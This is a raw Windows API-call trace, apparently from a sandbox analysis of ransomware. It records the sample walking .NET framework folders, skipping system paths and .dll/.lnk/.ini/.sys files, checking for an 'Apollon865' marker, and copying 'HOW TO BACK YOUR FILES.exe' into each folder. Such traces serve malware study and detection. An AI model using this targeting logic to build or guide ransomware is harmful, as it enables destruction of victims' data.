	[0052.521] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0052.521] lstrcmpiW (lpString1="v3.5", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.521] lstrcmpiW (lpString1="v3.5", lpString2="Apollon865.txt.exe") returned 1
	[0052.521] lstrcmpiW (lpString1="v3.5", lpString2=".") returned 1
	[0052.521] lstrcmpiW (lpString1="v3.5", lpString2="..") returned 1
	[0052.521] lstrcmpiW (lpString1="v3.5", lpString2="windows") returned -1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="bootmgr") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="temp") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="pagefile.sys") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="boot") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="ids.txt") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="ntuser.dat") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="perflogs") returned 1
	[0052.522] lstrcmpiW (lpString1="v3.5", lpString2="MSBuild") returned 1
	[0052.522] lstrlenW (lpString="v3.5") returned 4
	[0052.522] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned 68
	[0052.522] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="v3.5" | out: lpString1="v3.5") returned="v3.5"
	[0052.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0052.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599558
	[0052.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0052.522] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0052.522] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.522] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0052.522] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5"
	[0052.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0052.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0052.522] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned 68
	[0052.522] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5"
	[0052.522] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.528] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.528] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37604830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.528] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.528] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.528] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.528] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37604830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.531] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.531] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.531] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.531] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.531] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37604830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37604830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.531] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.531] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="..") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="windows") returned -1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="bootmgr") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="temp") returned -1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="pagefile.sys") returned -1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="boot") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="ids.txt") returned 1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="ntuser.dat") returned -1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="perflogs") returned -1
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="MSBuild") returned -1
	[0052.532] lstrlenW (lpString="Microsoft.Build.Conversion.v3.5.dll") returned 35
	[0052.532] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned 70
	[0052.532] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Microsoft.Build.Conversion.v3.5.dll" | out: lpString1="Microsoft.Build.Conversion.v3.5.dll") returned="Microsoft.Build.Conversion.v3.5.dll"
	[0052.532] lstrlenW (lpString="Microsoft.Build.Conversion.v3.5.dll") returned 35
	[0052.532] lstrlenW (lpString="Apollon865") returned 10
	[0052.532] lstrcmpiW (lpString1="n.v3.5.dll", lpString2="Apollon865") returned 1
	[0052.532] lstrlenW (lpString=".dll") returned 4
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".dll") returned 1
	[0052.532] lstrlenW (lpString=".lnk") returned 4
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".lnk") returned 1
	[0052.532] lstrlenW (lpString=".ini") returned 4
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".ini") returned 1
	[0052.532] lstrlenW (lpString=".sys") returned 4
	[0052.532] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".sys") returned 1
	[0052.532] lstrlenW (lpString="Microsoft.Build.Conversion.v3.5.dll") returned 35
	[0052.532] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Microsoft.Build.Engine.dll" | out: lpString1="Microsoft.Build.Engine.dll") returned="Microsoft.Build.Engine.dll"
	[0052.532] lstrlenW (lpString="Microsoft.Build.Engine.dll") returned 26
	[0052.532] lstrlenW (lpString="Apollon865") returned 10
	[0052.532] lstrcmpiW (lpString1="Engine.dll", lpString2="Apollon865") returned 1
	[0052.533] lstrlenW (lpString=".dll") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Engine.dll", lpString2=".dll") returned 1
	[0052.533] lstrlenW (lpString=".lnk") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Engine.dll", lpString2=".lnk") returned 1
	[0052.533] lstrlenW (lpString=".ini") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Engine.dll", lpString2=".ini") returned 1
	[0052.533] lstrlenW (lpString=".sys") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Engine.dll", lpString2=".sys") returned 1
	[0052.533] lstrlenW (lpString="Microsoft.Build.Engine.dll") returned 26
	[0052.533] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Microsoft.Build.Framework.dll" | out: lpString1="Microsoft.Build.Framework.dll") returned="Microsoft.Build.Framework.dll"
	[0052.533] lstrlenW (lpString="Microsoft.Build.Framework.dll") returned 29
	[0052.533] lstrlenW (lpString="Apollon865") returned 10
	[0052.533] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0052.533] lstrlenW (lpString=".dll") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Framework.dll", lpString2=".dll") returned 1
	[0052.533] lstrlenW (lpString=".lnk") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Framework.dll", lpString2=".lnk") returned 1
	[0052.533] lstrlenW (lpString=".ini") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Framework.dll", lpString2=".ini") returned 1
	[0052.533] lstrlenW (lpString=".sys") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Framework.dll", lpString2=".sys") returned 1
	[0052.533] lstrlenW (lpString="Microsoft.Build.Framework.dll") returned 29
	[0052.533] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Microsoft.Build.Utilities.v3.5.dll" | out: lpString1="Microsoft.Build.Utilities.v3.5.dll") returned="Microsoft.Build.Utilities.v3.5.dll"
	[0052.533] lstrlenW (lpString="Microsoft.Build.Utilities.v3.5.dll") returned 34
	[0052.533] lstrlenW (lpString="Apollon865") returned 10
	[0052.533] lstrcmpiW (lpString1="s.v3.5.dll", lpString2="Apollon865") returned 1
	[0052.533] lstrlenW (lpString=".dll") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Utilities.v3.5.dll", lpString2=".dll") returned 1
	[0052.533] lstrlenW (lpString=".lnk") returned 4
	[0052.533] lstrcmpiW (lpString1="Microsoft.Build.Utilities.v3.5.dll", lpString2=".lnk") returned 1
	[0052.533] lstrlenW (lpString=".ini") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.Build.Utilities.v3.5.dll", lpString2=".ini") returned 1
	[0052.534] lstrlenW (lpString=".sys") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.Build.Utilities.v3.5.dll", lpString2=".sys") returned 1
	[0052.534] lstrlenW (lpString="Microsoft.Build.Utilities.v3.5.dll") returned 34
	[0052.534] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Microsoft.VisualC.STLCLR.dll" | out: lpString1="Microsoft.VisualC.STLCLR.dll") returned="Microsoft.VisualC.STLCLR.dll"
	[0052.534] lstrlenW (lpString="Microsoft.VisualC.STLCLR.dll") returned 28
	[0052.534] lstrlenW (lpString="Apollon865") returned 10
	[0052.534] lstrcmpiW (lpString1="STLCLR.dll", lpString2="Apollon865") returned 1
	[0052.534] lstrlenW (lpString=".dll") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.VisualC.STLCLR.dll", lpString2=".dll") returned 1
	[0052.534] lstrlenW (lpString=".lnk") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.VisualC.STLCLR.dll", lpString2=".lnk") returned 1
	[0052.534] lstrlenW (lpString=".ini") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.VisualC.STLCLR.dll", lpString2=".ini") returned 1
	[0052.534] lstrlenW (lpString=".sys") returned 4
	[0052.534] lstrcmpiW (lpString1="Microsoft.VisualC.STLCLR.dll", lpString2=".sys") returned 1
	[0052.534] lstrlenW (lpString="Microsoft.VisualC.STLCLR.dll") returned 28
	[0052.534] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList"
	[0052.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0052.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599558
	[0052.534] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0052.534] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="Apollon865.txt.exe") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2=".") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="..") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="windows") returned -1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="bootmgr") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="temp") returned -1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="pagefile.sys") returned 1
	[0052.534] lstrcmpiW (lpString1="SubsetList", lpString2="boot") returned 1
	[0052.535] lstrcmpiW (lpString1="SubsetList", lpString2="ids.txt") returned 1
	[0052.535] lstrcmpiW (lpString1="SubsetList", lpString2="ntuser.dat") returned 1
	[0052.535] lstrcmpiW (lpString1="SubsetList", lpString2="perflogs") returned 1
	[0052.535] lstrcmpiW (lpString1="SubsetList", lpString2="MSBuild") returned 1
	[0052.535] lstrlenW (lpString="SubsetList") returned 10
	[0052.535] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned 79
	[0052.535] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="SubsetList" | out: lpString1="SubsetList") returned="SubsetList"
	[0052.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0052.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afa60
	[0052.535] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0052.535] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="..") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="windows") returned -1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="bootmgr") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="temp") returned -1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="pagefile.sys") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="boot") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="ids.txt") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="ntuser.dat") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="perflogs") returned 1
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="MSBuild") returned 1
	[0052.535] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0052.535] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned 79
	[0052.535] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.AddIn.Contract.dll" | out: lpString1="System.AddIn.Contract.dll") returned="System.AddIn.Contract.dll"
	[0052.535] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0052.535] lstrlenW (lpString="Apollon865") returned 10
	[0052.535] lstrcmpiW (lpString1="ntract.dll", lpString2="Apollon865") returned 1
	[0052.535] lstrlenW (lpString=".dll") returned 4
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".dll") returned 1
	[0052.535] lstrlenW (lpString=".lnk") returned 4
	[0052.535] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".lnk") returned 1
	[0052.535] lstrlenW (lpString=".ini") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".ini") returned 1
	[0052.536] lstrlenW (lpString=".sys") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".sys") returned 1
	[0052.536] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0052.536] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.AddIn.dll" | out: lpString1="System.AddIn.dll") returned="System.AddIn.dll"
	[0052.536] lstrlenW (lpString="System.AddIn.dll") returned 16
	[0052.536] lstrlenW (lpString="Apollon865") returned 10
	[0052.536] lstrcmpiW (lpString1=".AddIn.dll", lpString2="Apollon865") returned -1
	[0052.536] lstrlenW (lpString=".dll") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".dll") returned 1
	[0052.536] lstrlenW (lpString=".lnk") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".lnk") returned 1
	[0052.536] lstrlenW (lpString=".ini") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".ini") returned 1
	[0052.536] lstrlenW (lpString=".sys") returned 4
	[0052.536] lstrcmpiW (lpString1="System.AddIn.dll", lpString2=".sys") returned 1
	[0052.536] lstrlenW (lpString="System.AddIn.dll") returned 16
	[0052.536] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.ComponentModel.DataAnnotations.dll" | out: lpString1="System.ComponentModel.DataAnnotations.dll") returned="System.ComponentModel.DataAnnotations.dll"
	[0052.536] lstrlenW (lpString="System.ComponentModel.DataAnnotations.dll") returned 41
	[0052.536] lstrlenW (lpString="Apollon865") returned 10
	[0052.536] lstrcmpiW (lpString1="ations.dll", lpString2="Apollon865") returned 1
	[0052.536] lstrlenW (lpString=".dll") returned 4
	[0052.536] lstrcmpiW (lpString1="System.ComponentModel.DataAnnotations.dll", lpString2=".dll") returned 1
	[0052.536] lstrlenW (lpString=".lnk") returned 4
	[0052.536] lstrcmpiW (lpString1="System.ComponentModel.DataAnnotations.dll", lpString2=".lnk") returned 1
	[0052.536] lstrlenW (lpString=".ini") returned 4
	[0052.536] lstrcmpiW (lpString1="System.ComponentModel.DataAnnotations.dll", lpString2=".ini") returned 1
	[0052.536] lstrlenW (lpString=".sys") returned 4
	[0052.536] lstrcmpiW (lpString1="System.ComponentModel.DataAnnotations.dll", lpString2=".sys") returned 1
	[0052.536] lstrlenW (lpString="System.ComponentModel.DataAnnotations.dll") returned 41
	[0052.536] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Core.dll" | out: lpString1="System.Core.dll") returned="System.Core.dll"
	[0052.537] lstrlenW (lpString="System.Core.dll") returned 15
	[0052.537] lstrlenW (lpString="Apollon865") returned 10
	[0052.537] lstrcmpiW (lpString1="m.Core.dll", lpString2="Apollon865") returned 1
	[0052.537] lstrlenW (lpString=".dll") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Core.dll", lpString2=".dll") returned 1
	[0052.537] lstrlenW (lpString=".lnk") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Core.dll", lpString2=".lnk") returned 1
	[0052.537] lstrlenW (lpString=".ini") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Core.dll", lpString2=".ini") returned 1
	[0052.537] lstrlenW (lpString=".sys") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Core.dll", lpString2=".sys") returned 1
	[0052.537] lstrlenW (lpString="System.Core.dll") returned 15
	[0052.537] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.DataSetExtensions.dll" | out: lpString1="System.Data.DataSetExtensions.dll") returned="System.Data.DataSetExtensions.dll"
	[0052.537] lstrlenW (lpString="System.Data.DataSetExtensions.dll") returned 33
	[0052.537] lstrlenW (lpString="Apollon865") returned 10
	[0052.537] lstrcmpiW (lpString1="nsions.dll", lpString2="Apollon865") returned 1
	[0052.537] lstrlenW (lpString=".dll") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Data.DataSetExtensions.dll", lpString2=".dll") returned 1
	[0052.537] lstrlenW (lpString=".lnk") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Data.DataSetExtensions.dll", lpString2=".lnk") returned 1
	[0052.537] lstrlenW (lpString=".ini") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Data.DataSetExtensions.dll", lpString2=".ini") returned 1
	[0052.537] lstrlenW (lpString=".sys") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Data.DataSetExtensions.dll", lpString2=".sys") returned 1
	[0052.537] lstrlenW (lpString="System.Data.DataSetExtensions.dll") returned 33
	[0052.537] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Entity.Design.dll" | out: lpString1="System.Data.Entity.Design.dll") returned="System.Data.Entity.Design.dll"
	[0052.537] lstrlenW (lpString="System.Data.Entity.Design.dll") returned 29
	[0052.537] lstrlenW (lpString="Apollon865") returned 10
	[0052.537] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0052.537] lstrlenW (lpString=".dll") returned 4
	[0052.537] lstrcmpiW (lpString1="System.Data.Entity.Design.dll", lpString2=".dll") returned 1
	[0052.538] lstrlenW (lpString=".lnk") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.Design.dll", lpString2=".lnk") returned 1
	[0052.538] lstrlenW (lpString=".ini") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.Design.dll", lpString2=".ini") returned 1
	[0052.538] lstrlenW (lpString=".sys") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.Design.dll", lpString2=".sys") returned 1
	[0052.538] lstrlenW (lpString="System.Data.Entity.Design.dll") returned 29
	[0052.538] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Entity.dll" | out: lpString1="System.Data.Entity.dll") returned="System.Data.Entity.dll"
	[0052.538] lstrlenW (lpString="System.Data.Entity.dll") returned 22
	[0052.538] lstrlenW (lpString="Apollon865") returned 10
	[0052.538] lstrcmpiW (lpString1="Entity.dll", lpString2="Apollon865") returned 1
	[0052.538] lstrlenW (lpString=".dll") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.dll", lpString2=".dll") returned 1
	[0052.538] lstrlenW (lpString=".lnk") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.dll", lpString2=".lnk") returned 1
	[0052.538] lstrlenW (lpString=".ini") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.dll", lpString2=".ini") returned 1
	[0052.538] lstrlenW (lpString=".sys") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Entity.dll", lpString2=".sys") returned 1
	[0052.538] lstrlenW (lpString="System.Data.Entity.dll") returned 22
	[0052.538] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Linq.dll" | out: lpString1="System.Data.Linq.dll") returned="System.Data.Linq.dll"
	[0052.538] lstrlenW (lpString="System.Data.Linq.dll") returned 20
	[0052.538] lstrlenW (lpString="Apollon865") returned 10
	[0052.538] lstrcmpiW (lpString1="a.Linq.dll", lpString2="Apollon865") returned -1
	[0052.538] lstrlenW (lpString=".dll") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Linq.dll", lpString2=".dll") returned 1
	[0052.538] lstrlenW (lpString=".lnk") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Linq.dll", lpString2=".lnk") returned 1
	[0052.538] lstrlenW (lpString=".ini") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Linq.dll", lpString2=".ini") returned 1
	[0052.538] lstrlenW (lpString=".sys") returned 4
	[0052.538] lstrcmpiW (lpString1="System.Data.Linq.dll", lpString2=".sys") returned 1
